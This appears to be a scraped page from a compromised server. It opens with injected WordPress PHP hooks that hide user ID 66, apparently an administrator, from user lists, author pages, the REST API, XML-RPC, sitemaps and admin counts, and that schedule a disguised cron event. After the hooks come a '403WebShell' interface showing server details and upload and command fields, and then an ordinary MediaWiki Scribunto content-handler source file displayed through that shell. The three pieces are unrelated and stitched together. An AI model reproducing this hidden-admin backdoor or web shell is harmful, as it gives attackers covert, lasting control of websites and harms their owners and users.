add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/extensions/Scribunto/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/extensions/Scribunto/includes/ScribuntoContentHandler.php
<?php

namespace MediaWiki\Extension\Scribunto;

use MediaWiki\Content\CodeContentHandler;
use MediaWiki\Content\Content;
use MediaWiki\Content\Renderer\ContentParseParams;
use MediaWiki\Content\TextContent;
use MediaWiki\Content\ValidationParams;
use MediaWiki\Html\Html;
use MediaWiki\MediaWikiServices;
use MediaWiki\Page\PageIdentity;
use MediaWiki\Parser\ParserOutput;
use MediaWiki\Registration\ExtensionRegistry;
use MediaWiki\Status\Status;
use MediaWiki\SyntaxHighlight\SyntaxHighlight;
use MediaWiki\Title\Title;

/**
 * Scribunto Content Handler
 *
 * @file
 * @ingroup Extensions
 * @ingroup Scribunto
 *
 * @author Brad Jorsch <bjorsch@wikimedia.org>
 */

class ScribuntoContentHandler extends CodeContentHandler {

	/**
	 * @param string $modelId
	 * @param string[] $formats
	 */
	public function __construct(
		$modelId = CONTENT_MODEL_SCRIBUNTO, $formats = [ CONTENT_FORMAT_TEXT ]
	) {
		parent::__construct( $modelId, $formats );
	}

	/** @inheritDoc */
	protected function getContentClass() {
		return ScribuntoContent::class;
	}

	/**
	 * @param string $format
	 * @return bool
	 */
	public function isSupportedFormat( $format ) {
		// An error in an earlier version of Scribunto means we might see this.
		if ( $format === 'CONTENT_FORMAT_TEXT' ) {
			$format = CONTENT_FORMAT_TEXT;
		}
		return parent::isSupportedFormat( $format );
	}

	/**
	 * Only allow this content handler to be used in the Module namespace
	 * @param Title $title
	 * @return bool
	 */
	public function canBeUsedOn( Title $title ) {
		if ( $title->getNamespace() !== NS_MODULE ) {
			return false;
		}

		return parent::canBeUsedOn( $title );
	}

	/** @inheritDoc */
	public function supportsPreloadContent(): bool {
		return true;
	}

	/**
	 * @inheritDoc
	 */
	public function validateSave(
		Content $content,
		ValidationParams $validationParams
	) {
		'@phan-var ScribuntoContent $content';
		return $this->validate( $content, $validationParams->getPageIdentity() );
	}

	/**
	 * Checks whether the script is valid
	 *
	 * @param TextContent $content
	 * @param PageIdentity $page
	 * @return Status
	 */
	public function validate( TextContent $content, PageIdentity $page ) {
		if ( !( $page instanceof Title ) ) {
			$titleFactory = MediaWikiServices::getInstance()->getTitleFactory();
			$page = $titleFactory->newFromPageIdentity( $page );
		}

		$engine = Scribunto::newDefaultEngine();
		$engine->setTitle( $page );
		return $engine->validate( $content->getText(), $page->getPrefixedDBkey() );
	}

	/**
	 * @inheritDoc
	 */
	protected function fillParserOutput(
		Content $content,
		ContentParseParams $cpoParams,
		ParserOutput &$parserOutput
	) {
		'@phan-var ScribuntoContent $content';
		$page = $cpoParams->getPage();
		$title = Title::newFromPageReference( $page );
		$parserOptions = $cpoParams->getParserOptions();
		$revId = $cpoParams->getRevId();
		$generateHtml = $cpoParams->getGenerateHtml();
		$parser = MediaWikiServices::getInstance()->getParserFactory()->getInstance();
		$sourceCode = $content->getText();
		$docTitle = Scribunto::getDocPage( $title );
		$docMsg = $docTitle ? wfMessage(
			$docTitle->exists() ? 'scribunto-doc-page-show' : 'scribunto-doc-page-does-not-exist',
			$docTitle->getPrefixedText()
		)->inContentLanguage() : null;

		// Accumulate the following output:
		// - docs (if any)
		// - validation error (if any)
		// - highlighted source code
		$html = '';

		if ( $docMsg && !$docMsg->isDisabled() ) {
			// In order to allow the doc page to categorize the Module page,
			// we need access to the ParserOutput of the doc page.
			// This is why we can't simply use $docMsg->parse().
			//
			// We also can't use use ParserOutput::getText and ParserOutput::collectMetadata
			// to merge the result into $parserOutput, because doing so would remove the
			// ability for Skin/OutputPage to (post-cache) decide on the ParserOutput::getText
			// parameters edit section links, TOC, and user language etc.
			//
			// So instead, this uses the doc page's ParserOutput as the actual ParserOutput
			// we return, and add the other stuff to it. This is the only way to leave
			// skin-decisions undecided and in-tact.
			if ( $parserOptions->getTargetLanguage() === null ) {
				$parserOptions->setTargetLanguage( $docTitle->getPageLanguage() );
			}
			$parserOutput = $parser->parse( $docMsg->plain(), $page, $parserOptions, true, true, $revId );

			// Code is displayed and syntax highlighted as LTR, but the
			// documentation can be RTL on RTL-language wikis.
			//
			// As long as we leave the $parserOutput in-tact, it will preserve the appropiate
			// lang, dir, and class attributes (mw-content-ltr or mw-content-rtl) as needed
			// for correct styling and accessiblity of the documentation page content.
			// These will be applied when OutputPage eventually calls ParserOutput::getText()
			$html .= $parserOutput->getRawText();
		} else {
			$parserOutput = new ParserOutput();
			$parserOutput->setLanguage( $parserOptions->getTargetLanguage() ?? $docTitle->getPageLanguage() );
		}

		if ( $docTitle ) {
			// Mark the doc page as transcluded, so that edits to the doc page will
			// purge this Module page.
			$parserOutput->addTemplate( $docTitle, $docTitle->getArticleID(), $docTitle->getLatestRevID() );
		}

		// Validate the script, and include an error message and tracking
		// category if it's invalid
		$status = $this->validate( $content, $title );
		if ( !$status->isOK() ) {
			// FIXME: This uses a Status object, which in turn uses global RequestContext
			// to localize the message. This would poison the ParserCache.
			//
			// But, this code is almost unreachable in practice because there has
			// been no way to create a Module page with invalid content since 2014
			// (we validate and abort on edit, undelete, content-model change etc.).
			// See also T304381.
			$html .= Html::rawElement( 'div', [ 'class' => 'errorbox' ],
				$status->getHTML( 'scribunto-error-short', 'scribunto-error-long' )
			);
			$trackingCategories = MediaWikiServices::getInstance()->getTrackingCategories();
			$trackingCategories->addTrackingCategory( $parserOutput, 'scribunto-module-with-errors-category', $page );
		}

		if ( !$generateHtml ) {
			// The doc page and validation error produce metadata and must happen
			// unconditionally. The next step (syntax highlight) can be skipped if
			// we don't actually need the HTML.
			$parserOutput->setRawText( '' );
			return;
		}

		$engine = Scribunto::newDefaultEngine();
		$engine->setTitle( $title );
		$codeLang = $engine->getGeSHiLanguage();
		$html .= $this->highlight( $sourceCode, $parserOutput, $codeLang );

		$parserOutput->setRawText( $html );
	}

	/**
	 * Get syntax highlighted code and add metadata to output.
	 *
	 * If SyntaxHighlight is not possible, falls back to a `<pre>` element.
	 *
	 * @param string $source Source code
	 * @param ParserOutput $parserOutput
	 * @param string|false $codeLang
	 * @return string HTML
	 */
	private function highlight( $source, ParserOutput $parserOutput, $codeLang ) {
		$useGeSHi = MediaWikiServices::getInstance()->getMainConfig()->get( 'ScribuntoUseGeSHi' );
		if (
			$useGeSHi && $codeLang && ExtensionRegistry::getInstance()->isLoaded( 'SyntaxHighlight' )
		) {
			/** @var SyntaxHighlight $syntaxHighlight */
			$syntaxHighlight = MediaWikiServices::getInstance()->getService( 'SyntaxHighlight.SyntaxHighlight' );
			$status = $syntaxHighlight->syntaxHighlight( $source, $codeLang, [ 'line' => true, 'linelinks' => 'L' ] );
			if ( $status->isGood() ) {
				// @todo replace addModuleStyles line with the appropriate call on
				// SyntaxHighlight once one is created
				$parserOutput->addModuleStyles( [ 'ext.pygments' ] );
				$parserOutput->addModules( [ 'ext.pygments.view' ] );
				return $status->getValue();
			}
		}

		return Html::element( 'pre', [
			// Same as CodeContentHandler
			'lang' => 'en',
			'dir' => 'ltr',
			'class' => 'mw-code mw-script'
		], "\n$source\n" );
	}

	/**
	 * Create a redirect version of the content
	 *
	 * @param Title $target
	 * @param string $text
	 * @return ScribuntoContent
	 */
	public function makeRedirectContent( Title $target, $text = '' ) {
		return Scribunto::newDefaultEngine()->makeRedirectContent( $target, $text );
	}

	/**
	 * @return bool
	 */
	public function supportsRedirects() {
		return Scribunto::newDefaultEngine()->supportsRedirects();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit